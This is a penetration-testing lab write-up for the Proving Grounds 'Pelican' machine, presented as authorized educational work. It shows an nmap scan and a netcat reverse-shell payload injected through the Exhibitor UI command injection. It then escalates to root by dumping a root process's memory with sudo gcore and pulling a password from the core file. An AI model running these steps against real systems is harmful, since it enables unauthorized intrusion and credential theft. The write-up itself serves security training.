Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
To exploit this lab, you'll achieve an initial foothold through an unauthenticated command injection vulnerability. Following that, you'll gain root access by leveraging sudo to disclose a password. This lab enhances your skills in identifying and exploiting command injection vulnerabilities and understanding privilege escalation techniques.
Scenario
This lab demonstrates exploiting an unauthenticated command injection vulnerability in the Exhibitor UI for Apache Zookeeper to gain initial access. Learners will escalate privileges by dumping the memory of a root process using the sudo-allowed gcore command to retrieve root credentials. The lab highlights web application vulnerabilities, process memory analysis, and privilege escalation techniques.
Learning objectives
After completion of this lab, learners will be able to:
- Identify and exploit the Exhibitor UI command injection vulnerability to gain a low-privilege shell.
- Enumerate processes and privileges available to the compromised user.
- Use sudo access to gcore to dump memory of an active root process.
- Analyze the dumped memory to extract sensitive information, such as root credentials.
- Escalate privileges to root using the extracted credentials and validate full system access.
Privilege Escalation
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Map exposed services and versions on the target.
└─$ nmap -sC -sV -p- 192.168.206.98
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-11 17:57 -0400
Stats: 0:01:06 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 94.95% done; ETC: 17:58 (0:00:03 remaining)
Nmap scan report for 192.168.206.98
Host is up (0.019s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp open ipp CUPS 2.2
| http-methods:
|_ Potentially risky methods: PUT
|_http-title: Forbidden - CUPS v2.2.10
|_http-server-header: CUPS/2.2 IPP/2.1
2181/tcp open zookeeper Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
| 256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_ 256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp open http Jetty 1.0
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(1.0)
8081/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://192.168.206.98:8080/exhibitor/v1/ui/index.html
34051/tcp open java-rmi Java RMI
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: pelican
| NetBIOS computer name: PELICAN\x00
| Domain name: \x00
| FQDN: pelican
|_ System time: 2026-05-11T17:59:06-04:00
| smb2-time:
| date: 2026-05-11T21:59:05
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 105.64 seconds
###################################################################################################################################################
###################################################################################################################################################
https://talosintelligence.com/vulnerability_reports/TALOS-2019-0790
Navigate to http://192.168.206.98:8080/exhibitor/v1/ui/index.html --> config, Editing on -> add java.env script with "$(/bin/nc -e /bin/sh 192.168.45.160 4444 &)" -> commit -> all
Get a shell
###################################################################################################################################################
###################################################################################################################################################
Upgrade the shell using
# Run the helper or analysis script used in this lab step.
python -c 'import pty; pty.spawn("/bin/bash")'
###################################################################################################################################################
###################################################################################################################################################
# Identify commands that can run with elevated privileges.
sudo -l
Matching Defaults entries for charles on pelican:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User charles may run the following commands on pelican:
(ALL) NOPASSWD: /usr/bin/gcore
###################################################################################################################################################
###################################################################################################################################################
ps -aux | grep root
root 494 0.0 0.0 2276 136 ? Ss 17:54 0:00 /usr/bin/password-store
###################################################################################################################################################
###################################################################################################################################################
# Execute the next evidence-gathering step in the authorized lab.
sudo gcore 494
###################################################################################################################################################
###################################################################################################################################################
# Execute the next evidence-gathering step in the authorized lab.
charles@pelican:~$ strings core.494 | grep -A 2 'root'
strings core.494 | grep -A 2 'root'
001 Password: root:
ClogKingpinInning731
0%@e
###################################################################################################################################################
###################################################################################################################################################
# Execute the next evidence-gathering step in the authorized lab.
charles@pelican:~$ su
su
Password: ClogKingpinInning731
root@pelican:/home/charles# whoami
# Confirm the identity of the current session.
whoami
root
root@pelican:/home/charles#Takeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.